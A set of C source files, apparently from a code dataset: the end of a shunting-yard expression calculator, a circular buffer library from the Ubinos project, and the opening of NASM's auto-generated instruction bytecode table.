float eval_exp(float a1, float a2) { return a2<0 ? 0 : (a2==0?1:a1*eval_exp(a1, a2-1)); }
float eval_mul(float a1, float a2) { return a1*a2; }
float eval_div(float a1, float a2) {
if(!a2) {
fprintf(stderr, "ERROR: Division by zero\n");
exit(EXIT_FAILURE);
}
return a1/a2;
}
float eval_mod(float a1, float a2) {
if(!a2) {
fprintf(stderr, "ERROR: Division by zero\n");
exit(EXIT_FAILURE);
}
return fmodf(a1, a2);
//return a1%a2;
}
enum {ASSOC_NONE=0, ASSOC_LEFT, ASSOC_RIGHT};
struct operator_type {
char op;
int prec;
int assoc;
int unary;
float (*eval)(float a1, float a2);
} operators[]={
{'_', 10, ASSOC_RIGHT, 1, eval_uminus},
{'^', 9, ASSOC_RIGHT, 0, eval_exp},
{'*', 8, ASSOC_LEFT, 0, eval_mul},
{'/', 8, ASSOC_LEFT, 0, eval_div},
{'%', 8, ASSOC_LEFT, 0, eval_mod},
{'+', 5, ASSOC_LEFT, 0, eval_add},
{'-', 5, ASSOC_LEFT, 0, eval_sub},
{'(', 0, ASSOC_NONE, 0, NULL},
{')', 0, ASSOC_NONE, 0, NULL}
};
struct operator_type *getop(char ch) {
int i;
for(i=0; i<sizeof operators/sizeof operators[0]; ++i) {
if(operators[i].op==ch) return operators+i;
}
return NULL;
}
struct operator_type *opstack[MAXOPSTACK];
int nopstack=0;
float numstack[MAXNUMSTACK];
int nnumstack=0;
void push_opstack(struct operator_type *op)
{
if(nopstack>MAXOPSTACK-1) {
fprintf(stderr, "ERROR: Operator stack overflow\n");
exit(EXIT_FAILURE);
}
opstack[nopstack++]=op;
}
struct operator_type *pop_opstack()
{
if(!nopstack) {
fprintf(stderr, "ERROR: Operator stack empty\n");
exit(EXIT_FAILURE);
}
return opstack[--nopstack];
}
void push_numstack(float num)
{
if(nnumstack>MAXNUMSTACK-1) {
fprintf(stderr, "ERROR: Number stack overflow\n");
exit(EXIT_FAILURE);
}
numstack[nnumstack++]=num;
}
float pop_numstack()
{
if(!nnumstack) {
fprintf(stderr, "ERROR: Number stack empty\n");
exit(EXIT_FAILURE);
}
return numstack[--nnumstack];
}
void shunt_op(struct operator_type *op)
{
struct operator_type *pop;
float n1, n2;
if(op->op=='(') {
push_opstack(op);
return;
} else if(op->op==')') {
while(nopstack>0 && opstack[nopstack-1]->op!='(') {
pop=pop_opstack();
n1=pop_numstack();
if(pop->unary) push_numstack(pop->eval(n1, 0));
else {
n2=pop_numstack();
push_numstack(pop->eval(n2, n1));
}
}
if(!(pop=pop_opstack()) || pop->op!='(') {
fprintf(stderr, "ERROR: Stack error. No matching \'(\'\n");
exit(EXIT_FAILURE);
}
return;
}
if(op->assoc==ASSOC_RIGHT) {
while(nopstack && op->prec<opstack[nopstack-1]->prec) {
pop=pop_opstack();
n1=pop_numstack();
if(pop->unary) push_numstack(pop->eval(n1, 0));
else {
n2=pop_numstack();
push_numstack(pop->eval(n2, n1));
}
}
} else {
while(nopstack && op->prec<=opstack[nopstack-1]->prec) {
pop=pop_opstack();
n1=pop_numstack();
if(pop->unary) push_numstack(pop->eval(n1, 0));
else {
n2=pop_numstack();
push_numstack(pop->eval(n2, n1));
}
}
}
push_opstack(op);
}
int isdigit_or_decimal(int c) {
if (c == '.' || isdigit(c))
return 1;
else
return 0;
}
int main(int argc, const char *argv[]) {
char *expression;
expression = (char*) malloc(128 * sizeof(char));
CHECKMALLOC(expression);
int size = 0;
char c;
while (size < 128) {
c = get_keypress();
if (c == EOF)
break;
if (c != '\n') {
expression[size] = c;
size++;
}
}
printf("%d, %d", isdigit(expression[0]), isdigit_or_decimal(expression[0]));
printf("[%s]\n", expression);
char *expr;
char *tstart=NULL;
struct operator_type startop={'X', 0, ASSOC_NONE, 0, NULL}; /* Dummy operator to mark start */
struct operator_type *op=NULL;
float n1, n2;
struct operator_type *lastop=&startop;
for (expr=expression; *expr; ++expr) {
if (!tstart) {
if ((op=getop(*expr))) {
if (lastop && (lastop == &startop || lastop->op != ')')) {
if (op->op == '-')
op=getop('_');
else if (op->op!='(') {
fprintf(stderr, "ERROR: Illegal use of binary operator (%c)\n", op->op);
exit(EXIT_FAILURE);
}
}
shunt_op(op);
lastop=op;
} else if (isdigit_or_decimal(*expr)) tstart = expr;
else if (!isspace(*expr)) {
fprintf(stderr, "ERROR: Syntax error\n");
return EXIT_FAILURE;
}
} else {
if (isspace(*expr)) {
push_numstack(atof(tstart));
tstart=NULL;
lastop=NULL;
} else if ((op=getop(*expr))) {
push_numstack(atof(tstart));
tstart=NULL;
shunt_op(op);
lastop=op;
} else if (!isdigit_or_decimal(*expr) ) {
fprintf(stderr, "ERROR: Syntax error\n");
return EXIT_FAILURE;
}
}
}
if(tstart) push_numstack(atof(tstart));
while(nopstack) {
op=pop_opstack();
n1=pop_numstack();
if(op->unary) push_numstack(op->eval(n1, 0));
else {
n2=pop_numstack();
push_numstack(op->eval(n2, n1));
}
}
if(nnumstack!=1) {
fprintf(stderr, "ERROR: Number stack has %d elements after evaluation. Should be 1.\n", nnumstack);
return EXIT_FAILURE;
}
printf("%f\n", numstack[0]);
return 0;
} |
81345.c | /*
* Copyright (c) 2009 Sung Ho Park
*
* SPDX-License-Identifier: Apache-2.0
*/
#include "_ubiclib.h"
#if !(UBINOS__UBICLIB__EXCLUDE_CIRBUF == 1)
#include <assert.h>
#include <stdlib.h>
#include <string.h>
#undef LOGM_CATEGORY
#define LOGM_CATEGORY LOGM_CATEGORY__UBICLIB
int cirbuf_create(cirbuf_pt * cirbuf_p, unsigned int maxsize) {
return cirbuf_create_ext(cirbuf_p, maxsize, 0);
}
int cirbuf_create_ext(cirbuf_pt * cirbuf_p, unsigned int maxsize, unsigned int option) {
cirbuf_pt cirbuf;
assert(cirbuf_p != NULL);
if (NULL == cirbuf_p) {
logme("parameter 1 is wrong");
return -2;
}
if (0 >= maxsize) {
logme("parameter 2 is wrong");
return -3;
}
cirbuf = malloc(sizeof(cirbuf_t) + maxsize);
if (NULL == cirbuf) {
logme("fail at malloc()");
return -1;
}
cirbuf_init(cirbuf, maxsize);
if (0 == (option & CIRBUF_OPT__NOOVERWRITE)) {
cirbuf->overwrite = 1;
}
if (0 != (option & CIRBUF_OPT__MTPROTECTION)) {
cirbuf->mtprotection = 1;
}
*cirbuf_p = cirbuf;
return 0;
}
int cirbuf_delete(cirbuf_pt * cirbuf_p) {
cirbuf_pt cirbuf;
assert(cirbuf_p != NULL);
assert(*cirbuf_p != NULL);
if (NULL == cirbuf_p) {
logme("parameter 1 is wrong");
return -2;
}
if (NULL == *cirbuf_p) {
logme("parameter 1 is wrong");
return -2;
}
cirbuf = *cirbuf_p;
free(cirbuf);
*cirbuf_p = NULL;
return 0;
}
int cirbuf_write(cirbuf_pt cirbuf, unsigned char * buf, unsigned int size, unsigned int * written_p) {
unsigned char * cirbuf__head;
unsigned char * cirbuf__tail;
unsigned int cirbuf__size;
unsigned int offset;
unsigned int size1;
unsigned int size2;
unsigned int sizeold;
assert(cirbuf != NULL);
assert(buf != NULL);
if (NULL == cirbuf) {
logme("parameter 1 is wrong");
return -2;
}
if (NULL == buf) {
logme("parameter 2 is wrong");
return -3;
}
if (0 == size) {
if (NULL != written_p) {
*written_p = size;
}
return 0;
}
if (cirbuf->maxsize < size)
{
logme("parameter 3 is wrong");
return -4;
}
if (0 != cirbuf->mtprotection) {
bsp_ubik_entercrit();
cirbuf__head = cirbuf->head;
cirbuf__tail = cirbuf->tail;
cirbuf__size = cirbuf->size;
bsp_ubik_exitcrit();
}
else {
cirbuf__head = cirbuf->head;
cirbuf__tail = cirbuf->tail;
cirbuf__size = cirbuf->size;
}
size1 = cirbuf->maxsize - cirbuf__size;
if (size1 < size) {
if (UINT16_MAX > cirbuf->overflowcount) {
cirbuf->overflowcount++;
}
if (0 == cirbuf->overwrite) {
size = size1;
}
}
if (0 == size) {
if (NULL != written_p) {
*written_p = size;
}
return 0;
}
offset = cirbuf__tail - cirbuf->buf;
size1 = cirbuf->maxsize - offset;
if (size1 >= size) {
size1 = size;
size2 = 0;
}
else {
size2 = size - size1;
}
if (size1 > 0) {
memcpy(cirbuf__tail, buf, size1);
}
if (size2 > 0) {
memcpy(cirbuf->buf, buf + size1, size2);
}
cirbuf__tail = (offset + size) % cirbuf->maxsize + cirbuf->buf;
sizeold = cirbuf__size;
cirbuf__size += size;
if (cirbuf->maxsize < cirbuf__size || sizeold > cirbuf__size) {
cirbuf__head = cirbuf__tail;
cirbuf__size = cirbuf->maxsize;
if (UINT16_MAX > cirbuf->overflowcount) {
cirbuf->overflowcount++;
}
}
if (NULL != written_p) {
*written_p = size;
}
if (0 != cirbuf->mtprotection) {
bsp_ubik_entercrit();
cirbuf->head = cirbuf__head;
cirbuf->tail = cirbuf__tail;
cirbuf->size = cirbuf__size;
bsp_ubik_exitcrit();
}
else {
cirbuf->head = cirbuf__head;
cirbuf->tail = cirbuf__tail;
cirbuf->size = cirbuf__size;
}
return 0;
}
int cirbuf_read(cirbuf_pt cirbuf, unsigned char * buf, unsigned int size, unsigned int * read_p) {
unsigned char * cirbuf__head;
unsigned char * cirbuf__tail;
unsigned int cirbuf__size;
unsigned int offset;
unsigned int size1;
unsigned int size2;
assert(cirbuf != NULL);
assert(buf != NULL);
if (NULL == cirbuf) {
logme("parameter 1 is wrong");
return -2;
}
if (NULL == buf) {
logme("parameter 2 is wrong");
return -3;
}
if (0 == size) {
if (NULL != read_p) {
*read_p = size;
}
return 0;
}
if (0 != cirbuf->mtprotection) {
bsp_ubik_entercrit();
cirbuf__head = cirbuf->head;
cirbuf__tail = cirbuf->tail;
cirbuf__size = cirbuf->size;
bsp_ubik_exitcrit();
}
else {
cirbuf__head = cirbuf->head;
cirbuf__tail = cirbuf->tail;
cirbuf__size = cirbuf->size;
}
if (cirbuf__size < size) {
logme("parameter 3 is wrong");
return -4;
}
offset = cirbuf__head - cirbuf->buf;
size1 = cirbuf->maxsize - offset;
if (size1 >= size) {
size1 = size;
size2 = 0;
}
else {
size2 = size - size1;
}
if (size1 > 0) {
memcpy(buf, cirbuf__head, size1);
}
if (size2 > 0) {
memcpy(buf + size1, cirbuf->buf, size2);
}
cirbuf__head = (offset + size) % cirbuf->maxsize + cirbuf->buf;
cirbuf__size -= size;
if (NULL != read_p) {
*read_p = size;
}
if (0 != cirbuf->mtprotection) {
bsp_ubik_entercrit();
cirbuf->head = cirbuf__head;
cirbuf->tail = cirbuf__tail;
cirbuf->size = cirbuf__size;
bsp_ubik_exitcrit();
}
else {
cirbuf->head = cirbuf__head;
cirbuf->tail = cirbuf__tail;
cirbuf->size = cirbuf__size;
}
return 0;
}
int cirbuf_clear(cirbuf_pt cirbuf) {
assert(cirbuf != NULL);
if (NULL == cirbuf) {
logme("parameter 1 is wrong");
return -2;
}
if (0 != cirbuf->mtprotection) {
bsp_ubik_entercrit();
cirbuf->head = cirbuf->buf;
cirbuf->tail = cirbuf->buf;
cirbuf->size = 0;
cirbuf->overflowcount = 0;
bsp_ubik_exitcrit();
}
else {
cirbuf->head = cirbuf->buf;
cirbuf->tail = cirbuf->buf;
cirbuf->size = 0;
cirbuf->overflowcount = 0;
}
return 0;
}
#endif /* !(UBINOS__UBICLIB__EXCLUDE_CIRBUF == 1) */
|
791621.c | /* This file auto-generated from insns.dat by insns.pl - don't edit it */
#include "nasm.h"
#include "insns.h"
const uint8_t nasm_bytecodes[41584] = {
/* 0 */ 0241,0203,041,0301,01,0104,0120,01,0,0,
/* 10 */ 0240,0203,041,0301,01,0104,0110,01,0,0,
/* 20 */ 0241,0203,041,0301,01,0104,0120,01,01,0,
/* 30 */ 0240,0203,041,0301,01,0104,0110,01,01,0,
/* 40 */ 0241,0203,041,0301,01,0104,0120,01,020,0,
/* 50 */ 0240,0203,041,0301,01,0104,0110,01,020,0,
/* 60 */ 0241,0203,041,0301,01,0104,0120,01,021,0,
/* 70 */ 0240,0203,041,0301,01,0104,0110,01,021,0,
/* 80 */ 0241,0203,045,0301,01,0104,0120,01,0,0,
/* 90 */ 0240,0203,045,0301,01,0104,0110,01,0,0,
/* 100 */ 0241,0203,045,0301,01,0104,0120,01,01,0,
/* 110 */ 0240,0203,045,0301,01,0104,0110,01,01,0,
/* 120 */ 0241,0203,045,0301,01,0104,0120,01,020,0,
/* 130 */ 0240,0203,045,0301,01,0104,0110,01,020,0,
/* 140 */ 0241,0203,045,0301,01,0104,0120,01,021,0,
/* 150 */ 0240,0203,045,0301,01,0104,0110,01,021,0,
/* 160 */ 0241,0203,051,0301,01,0104,0120,01,0,0,
/* 170 */ 0240,0203,051,0301,01,0104,0110,01,0,0,
/* 180 */ 0241,0203,051,0301,01,0104,0120,01,01,0,
/* 190 */ 0240,0203,051,0301,01,0104,0110,01,01,0,
/* 200 */ 0241,0203,051,0301,01,0104,0120,01,020,0,
/* 210 */ 0240,0203,051,0301,01,0104,0110,01,020,0,
/* 220 */ 0241,0203,051,0301,01,0104,0120,01,021,0,
/* 230 */ 0240,0203,051,0301,01,0104,0110,01,021,0,
/* 240 */ 0324,0361,03,017,072,027,0101,026,0,
/* 249 */ 0323,0361,03,017,072,024,0101,026,0,
/* 258 */ 0317,0361,03,017,072,026,0101,026,0,
/* 267 */ 0324,0361,03,017,072,026,0101,026,0,
/* 276 */ 0324,0361,03,017,072,025,0101,026,0,
/* 285 */ 0325,0361,03,017,072,040,0110,026,0,
/* 294 */ 0317,0361,03,017,072,042,0110,026,0,
/* 303 */ 0324,0361,03,017,072,042,0110,026,0,
/* 312 */ 0261,01,041,01,0302,0120,01,020,0,
/* 321 */ 0260,01,041,01,0302,0110,01,020,0,
/* 330 */ 0261,01,045,01,0302,0120,01,020,0,
/* 339 */ 0260,01,045,01,0302,0110,01,020,0,
/* 348 */ 0261,01,041,01,0302,0120,01,0,0,
/* 357 */ 0260,01,041,01,0302,0110,01,0,0,
/* 366 */ 0261,01,045,01,0302,0120,01,0,0,
/* 375 */ 0260,01,045,01,0302,0110,01,0,0,
/* 384 */ 0261,01,041,01,0302,0120,01,01,0,
/* 393 */ 0260,01,041,01,0302,0110,01,01,0,
/* 402 */ 0261,01,045,01,0302,0120,01,01,0,
/* 411 */ 0260,01,045,01,0302,0110,01,01,0,
/* 420 */ 0261,01,041,01,0302,0120,01,02,0,
/* 429 */ 0260,01,041,01,0302,0110,01,02,0,
/* 438 */ 0261,01,045,01,0302,0120,01,02,0,
/* 447 */ 0260,01,045,01,0302,0110,01,02,0,
/* 456 */ 0261,01,041,01,0302,0120,01,03,0,
/* 465 */ 0260,01,041,01,0302,0110,01,03,0,
/* 474 */ 0261,01,045,01,0302,0120,01,03,0,
/* 483 */ 0260,01,045,01,0302,0110,01,03,0,
/* 492 */ 0261,01,041,01,0302,0120,01,04,0,
/* 501 */ 0260,01,041,01,0302,0110,01,04,0,
/* 510 */ 0261,01,045,01,0302,0120,01,04,0,
/* 519 */ 0260,01,045,01,0302,0110,01,04,0,
/* 528 */ 0261,01,041,01,0302,0120,01,05,0,
/* 537 */ 0260,01,041,01,0302,0110,01,05,0,
/* 546 */ 0261,01,045,01,0302,0120,01,05,0,
/* 555 */ 0260,01,045,01,0302,0110,01,05,0,
/* 564 */ 0261,01,041,01,0302,0120,01,06,0,
/* 573 */ 0260,01,041,01,0302,0110,01,06,0,
/* 582 */ 0261,01,045,01,0302,0120,01,06,0,
/* 591 */ 0260,01,045,01,0302,0110,01,06,0,
/* 600 */ 0261,01,041,01,0302,0120,01,07,0,
/* 609 */ 0260,01,041,01,0302,0110,01,07,0,
/* 618 */ 0261,01,045,01,0302,0120,01,07,0,
/* 627 */ 0260,01,045,01,0302,0110,01,07,0,
/* 636 */ 0261,01,041,01,0302,0120,01,010,0,
/* 645 */ 0260,01,041,01,0302,0110,01,010,0,
/* 654 */ 0261,01,045,01,0302,0120,01,010,0,
/* 663 */ 0260,01,045,01,0302,0110,01,010,0,
/* 672 */ 0261,01,041,01,0302,0120,01,011,0,
/* 681 */ 0260,01,041,01,0302,0110,01,011,0,
/* 690 */ 0261,01,045,01,0302,0120,01,011,0,
/* 699 */ 0260,01,045,01,0302,0110,01,011,0,
/* 708 */ 0261,01,041,01,0302,0120,01,012,0,
/* 717 */ 0260,01,041,01,0302,0110,01,012,0,
/* 726 */ 0261,01,045,01,0302,0120,01,012,0,
/* 735 */ 0260,01,045,01,0302,0110,01,012,0,
/* 744 */ 0261,01,041,01,0302,0120,01,013,0,
/* 753 */ 0260,01,041,01,0302,0110,01,013,0,
/* 762 */ 0261,01,045,01,0302,0120,01,013,0,
/* 771 */ 0260,01,045,01,0302,0110,01,013,0,
/* 780 */ 0261,01,041,01,0302,0120,01,014,0,
/* 789 */ 0260,01,041,01,0302,0110,01,014,0,
/* 798 */ 0261,01,045,01,0302,0120,01,014,0,
/* 807 */ 0260,01,045,01,0302,0110,01,014,0,
/* 816 */ 0261,01,041,01,0302,0120,01,015,0,
/* 825 */ 0260,01,041,01,0302,0110,01,015,0,
/* 834 */ 0261,01,045,01,0302,0120,01,015,0,
/* 843 */ 0260,01,045,01,0302,0110,01,015,0,
/* 852 */ 0261,01,041,01,0302,0120,01,016,0,
/* 861 */ 0260,01,041,01,0302,0110,01,016,0,
/* 870 */ 0261,01,045,01,0302,0120,01,016,0,
/* 879 */ 0260,01,045,01,0302,0110,01,016,0,
/* 888 */ 0261,01,041,01,0302,0120,01,017,0,
/* 897 */ 0260,01,041,01,0302,0110,01,017,0,
/* 906 */ 0261,01,045,01,0302,0120,01,017,0,
/* 915 */ 0260,01,045,01,0302,0110,01,017,0,
/* 924 */ 0261,01,041,01,0302,0120,01,021,0,
/* 933 */ 0260,01,041,01,0302,0110,01,021,0,
/* 942 */ 0261,01,045,01,0302,0120,01,021,0,
/* 951 */ 0260,01,045,01,0302,0110,01,021,0,
/* 960 */ 0261,01,041,01,0302,0120,01,022,0,
/* 969 */ 0260,01,041,01,0302,0110,01,022,0,
/* 978 */ 0261,01,045,01,0302,0120,01,022,0,
/* 987 */ 0260,01,045,01,0302,0110,01,022,0,
/* 996 */ 0261,01,041,01,0302,0120,01,023,0,
/* 1005 */ 0260,01,041,01,0302,0110,01,023,0,
/* 1014 */ 0261,01,045,01,0302,0120,01,023,0,
/* 1023 */ 0260,01,045,01,0302,0110,01,023,0,
/* 1032 */ 0261,01,041,01,0302,0120,01,024,0,
/* 1041 */ 0260,01,041,01,0302,0110,01,024,0,
/* 1050 */ 0261,01,045,01,0302,0120,01,024,0,
/* 1059 */ 0260,01,045,01,0302,0110,01,024,0,
/* 1068 */ 0261,01,041,01,0302,0120,01,025,0,
/* 1077 */ 0260,01,041,01,0302,0110,01,025,0,
/* 1086 */ 0261,01,045,01,0302,0120,01,025,0,
/* 1095 */ 0260,01,045,01,0302,0110,01,025,0,
/* 1104 */ 0261,01,041,01,0302,0120,01,026,0,
/* 1113 */ 0260,01,041,01,0302,0110,01,026,0,
/* 1122 */ 0261,01,045,01,0302,0120,01,026,0,
/* 1131 */ 0260,01,045,01,0302,0110,01,026,0,
/* 1140 */ 0261,01,041,01,0302,0120,01,027,0,
/* 1149 */ 0260,01,041,01,0302,0110,01,027,0,
/* 1158 */ 0261,01,045,01,0302,0120,01,027,0,
/* 1167 */ 0260,01,045,01,0302,0110,01,027,0,
/* 1176 */ 0261,01,041,01,0302,0120,01,030,0,
/* 1185 */ 0260,01,041,01,0302,0110,01,030,0,
/* 1194 */ 0261,01,045,01,0302,0120,01,030,0,
/* 1203 */ 0260,01,045,01,0302,0110,01,030,0,
/* 1212 */ 0261,01,041,01,0302,0120,01,031,0,
/* 1221 */ 0260,01,041,01,0302,0110,01,031,0,
/* 1230 */ 0261,01,045,01,0302,0120,01,031,0,
/* 1239 */ 0260,01,045,01,0302,0110,01,031,0,
/* 1248 */ 0261,01,041,01,0302,0120,01,032,0,
/* 1257 */ 0260,01,041,01,0302,0110,01,032,0,
/* 1266 */ 0261,01,045,01,0302,0120,01,032,0,
/* 1275 */ 0260,01,045,01,0302,0110,01,032,0,
/* 1284 */ 0261,01,041,01,0302,0120,01,033,0,
/* 1293 */ 0260,01,041,01,0302,0110,01,033,0,
/* 1302 */ 0261,01,045,01,0302,0120,01,033,0,
/* 1311 */ 0260,01,045,01,0302,0110,01,033,0,
/* 1320 */ 0261,01,041,01,0302,0120,01,034,0,
/* 1329 */ 0260,01,041,01,0302,0110,01,034,0,
/* 1338 */ 0261,01,045,01,0302,0120,01,034,0,
/* 1347 */ 0260,01,045,01,0302,0110,01,034,0,
/* 1356 */ 0261,01,041,01,0302,0120,01,035,0,
/* 1365 */ 0260,01,041,01,0302,0110,01,035,0,
/* 1374 */ 0261,01,045,01,0302,0120,01,035,0,
/* 1383 */ 0260,01,045,01,0302,0110,01,035,0,
/* 1392 */ 0261,01,041,01,0302,0120,01,036,0,
/* 1401 */ 0260,01,041,01,0302,0110,01,036,0,
/* 1410 */ 0261,01,045,01,0302,0120,01,036,0,
/* 1419 */ 0260,01,045,01,0302,0110,01,036,0,
/* 1428 */ 0261,01,041,01,0302,0120,01,037,0,
/* 1437 */ 0260,01,041,01,0302,0110,01,037,0,
/* 1446 */ 0261,01,045,01,0302,0120,01,037,0,
/* 1455 */ 0260,01,045,01,0302,0110,01,037,0,
/* 1464 */ 0261,01,040,01,0302,0120,01,020,0,
/* 1473 */ 0260,01,040,01,0302,0110,01,020,0,
/* 1482 */ 0261,01,044,01,0302,0120,01,020,0,
/* 1491 */ 0260,01,044,01,0302,0110,01,020,0,
/* 1500 */ 0261,01,040,01,0302,0120,01,0,0,
/* 1509 */ 0260,01,040,01,0302,0110,01,0,0,
/* 1518 */ 0261,01,044,01,0302,0120,01,0,0,
/* 1527 */ 0260,01,044,01,0302,0110,01,0,0,
/* 1536 */ 0261,01,040,01,0302,0120,01,01,0,
/* 1545 */ 0260,01,040,01,0302,0110,01,01,0,
/* 1554 */ 0261,01,044,01,0302,0120,01,01,0,
/* 1563 */ 0260,01,044,01,0302,0110,01,01,0,
/* 1572 */ 0261,01,040,01,0302,0120,01,02,0,
/* 1581 */ 0260,01,040,01,0302,0110,01,02,0,
/* 1590 */ 0261,01,044,01,0302,0120,01,02,0,
/* 1599 */ 0260,01,044,01,0302,0110,01,02,0,
/* 1608 */ 0261,01,040,01,0302,0120,01,03,0,
/* 1617 */ 0260,01,040,01,0302,0110,01,03,0,
/* 1626 */ 0261,01,044,01,0302,0120,01,03,0,
/* 1635 */ 0260,01,044,01,0302,0110,01,03,0,
/* 1644 */ 0261,01,040,01,0302,0120,01,04,0,
/* 1653 */ 0260,01,040,01,0302,0110,01,04,0,
/* 1662 */ 0261,01,044,01,0302,0120,01,04,0,
/* 1671 */ 0260,01,044,01,0302,0110,01,04,0,
/* 1680 */ 0261,01,040,01,0302,0120,01,05,0,
/* 1689 */ 0260,01,040,01,0302,0110,01,05,0,
/* 1698 */ 0261,01,044,01,0302,0120,01,05,0,
/* 1707 */ 0260,01,044,01,0302,0110,01,05,0,
/* 1716 */ 0261,01,040,01,0302,0120,01,06,0,
/* 1725 */ 0260,01,040,01,0302,0110,01,06,0,
/* 1734 */ 0261,01,044,01,0302,0120,01,06,0,
/* 1743 */ 0260,01,044,01,0302,0110,01,06,0,
/* 1752 */ 0261,01,040,01,0302,0120,01,07,0,
/* 1761 */ 0260,01,040,01,0302,0110,01,07,0,
/* 1770 */ 0261,01,044,01,0302,0120,01,07,0,
/* 1779 */ 0260,01,044,01,0302,0110,01,07,0,
/* 1788 */ 0261,01,040,01,0302,0120,01,010,0,
/* 1797 */ 0260,01,040,01,0302,0110,01,010,0,
/* 1806 */ 0261,01,044,01,0302,0120,01,010,0,
/* 1815 */ 0260,01,044,01,0302,0110,01,010,0,
/* 1824 */ 0261,01,040,01,0302,0120,01,011,0,
/* 1833 */ 0260,01,040,01,0302,0110,01,011,0,
/* 1842 */ 0261,01,044,01,0302,0120,01,011,0,
/* 1851 */ 0260,01,044,01,0302,0110,01,011,0,
/* 1860 */ 0261,01,040,01,0302,0120,01,012,0,
/* 1869 */ 0260,01,040,01,0302,0110,01,012,0,
/* 1878 */ 0261,01,044,01,0302,0120,01,012,0,
/* 1887 */ 0260,01,044,01,0302,0110,01,012,0,
/* 1896 */ 0261,01,040,01,0302,0120,01,013,0,
/* 1905 */ 0260,01,040,01,0302,0110,01,013,0,
/* 1914 */ 0261,01,044,01,0302,0120,01,013,0,
/* 1923 */ 0260,01,044,01,0302,0110,01,013,0,
/* 1932 */ 0261,01,040,01,0302,0120,01,014,0,
/* 1941 */ 0260,01,040,01,0302,0110,01,014,0,
/* 1950 */ 0261,01,044,01,0302,0120,01,014,0,
/* 1959 */ 0260,01,044,01,0302,0110,01,014,0,
/* 1968 */ 0261,01,040,01,0302,0120,01,015,0,
/* 1977 */ 0260,01,040,01,0302,0110,01,015,0,
/* 1986 */ 0261,01,044,01,0302,0120,01,015,0,
/* 1995 */ 0260,01,044,01,0302,0110,01,015,0,
/* 2004 */ 0261,01,040,01,0302,0120,01,016,0,
/* 2013 */ 0260,01,040,01,0302,0110,01,016,0,
/* 2022 */ 0261,01,044,01,0302,0120,01,016,0,
/* 2031 */ 0260,01,044,01,0302,0110,01,016,0,
/* 2040 */ 0261,01,040,01,0302,0120,01,017,0,
/* 2049 */ 0260,01,040,01,0302,0110,01,017,0,
/* 2058 */ 0261,01,044,01,0302,0120,01,017,0,
/* 2067 */ 0260,01,044,01,0302,0110,01,017,0,
/* 2076 */ 0261,01,040,01,0302,0120,01,021,0,
/* 2085 */ 0260,01,040,01,0302,0110,01,021,0,
/* 2094 */ 0261,01,044,01,0302,0120,01,021,0,
/* 2103 */ 0260,01,044,01,0302,0110,01,021,0,
/* 2112 */ 0261,01,040,01,0302,0120,01,022,0,
/* 2121 */ 0260,01,040,01,0302,0110,01,022,0,
/* 2130 */ 0261,01,044,01,0302,0120,01,022,0,
/* 2139 */ 0260,01,044,01,0302,0110,01,022,0,
/* 2148 */ 0261,01,040,01,0302,0120,01,023,0,
/* 2157 */ 0260,01,040,01,0302,0110,01,023,0,
/* 2166 */ 0261,01,044,01,0302,0120,01,023,0,
/* 2175 */ 0260,01,044,01,0302,0110,01,023,0,
/* 2184 */ 0261,01,040,01,0302,0120,01,024,0,
/* 2193 */ 0260,01,040,01,0302,0110,01,024,0,
/* 2202 */ 0261,01,044,01,0302,0120,01,024,0,
/* 2211 */ 0260,01,044,01,0302,0110,01,024,0,
/* 2220 */ 0261,01,040,01,0302,0120,01,025,0,
/* 2229 */ 0260,01,040,01,0302,0110,01,025,0,
/* 2238 */ 0261,01,044,01,0302,0120,01,025,0,
/* 2247 */ 0260,01,044,01,0302,0110,01,025,0,
/* 2256 */ 0261,01,040,01,0302,0120,01,026,0,
/* 2265 */ 0260,01,040,01,0302,0110,01,026,0,
/* 2274 */ 0261,01,044,01,0302,0120,01,026,0,
/* 2283 */ 0260,01,044,01,0302,0110,01,026,0,
/* 2292 */ 0261,01,040,01,0302,0120,01,027,0,
/* 2301 */ 0260,01,040,01,0302,0110,01,027,0,
/* 2310 */ 0261,01,044,01,0302,0120,01,027,0,
/* 2319 */ 0260,01,044,01,0302,0110,01,027,0,
/* 2328 */ 0261,01,040,01,0302,0120,01,030,0,
/* 2337 */ 0260,01,040,01,0302,0110,01,030,0,
/* 2346 */ 0261,01,044,01,0302,0120,01,030,0,
/* 2355 */ 0260,01,044,01,0302,0110,01,030,0,
/* 2364 */ 0261,01,040,01,0302,0120,01,031,0,
/* 2373 */ 0260,01,040,01,0302,0110,01,031,0,
/* 2382 */ 0261,01,044,01,0302,0120,01,031,0,
/* 2391 */ 0260,01,044,01,0302,0110,01,031,0,
/* 2400 */ 0261,01,040,01,0302,0120,01,032,0,
/* 2409 */ 0260,01,040,01,0302,0110,01,032,0,
/* 2418 */ 0261,01,044,01,0302,0120,01,032,0,
/* 2427 */ 0260,01,044,01,0302,0110,01,032,0,
/* 2436 */ 0261,01,040,01,0302,0120,01,033,0,
/* 2445 */ 0260,01,040,01,0302,0110,01,033,0,
/* 2454 */ 0261,01,044,01,0302,0120,01,033,0,
/* 2463 */ 0260,01,044,01,0302,0110,01,033,0,
/* 2472 */ 0261,01,040,01,0302,0120,01,034,0,
/* 2481 */ 0260,01,040,01,0302,0110,01,034,0,
/* 2490 */ 0261,01,044,01,0302,0120,01,034,0,
/* 2499 */ 0260,01,044,01,0302,0110,01,034,0,
/* 2508 */ 0261,01,040,01,0302,0120,01,035,0,
/* 2517 */ 0260,01,040,01,0302,0110,01,035,0,
/* 2526 */ 0261,01,044,01,0302,0120,01,035,0,
/* 2535 */ 0260,01,044,01,0302,0110,01,035,0,
/* 2544 */ 0261,01,040,01,0302,0120,01,036,0,
/* 2553 */ 0260,01,040,01,0302,0110,01,036,0,
/* 2562 */ 0261,01,044,01,0302,0120,01,036,0,
/* 2571 */ 0260,01,044,01,0302,0110,01,036,0,
/* 2580 */ 0261,01,040,01,0302,0120,01,037,0,
/* 2589 */ 0260,01,040,01,0302,0110,01,037,0,
/* 2598 */ 0261,01,044,01,0302,0120,01,037,0,
/* 2607 */ 0260,01,044,01,0302,0110,01,037,0,
/* 2616 */ 0261,01,053,01,0302,0120,01,020,0,
/* 2625 */ 0260,01,053,01,0302,0110,01,020,0,
/* 2634 */ 0261,01,053,01,0302,0120,01,0,0,
/* 2643 */ 0260,01,053,01,0302,0110,01,0,0,
/* 2652 */ 0261,01,053,01,0302,0120,01,01,0,
/* 2661 */ 0260,01,053,01,0302,0110,01,01,0,
/* 2670 */ 0261,01,053,01,0302,0120,01,02,0,
/* 2679 */ 0260,01,053,01,0302,0110,01,02,0,
/* 2688 */ 0261,01,053,01,0302,0120,01,03,0,
/* 2697 */ 0260,01,053,01,0302,0110,01,03,0,
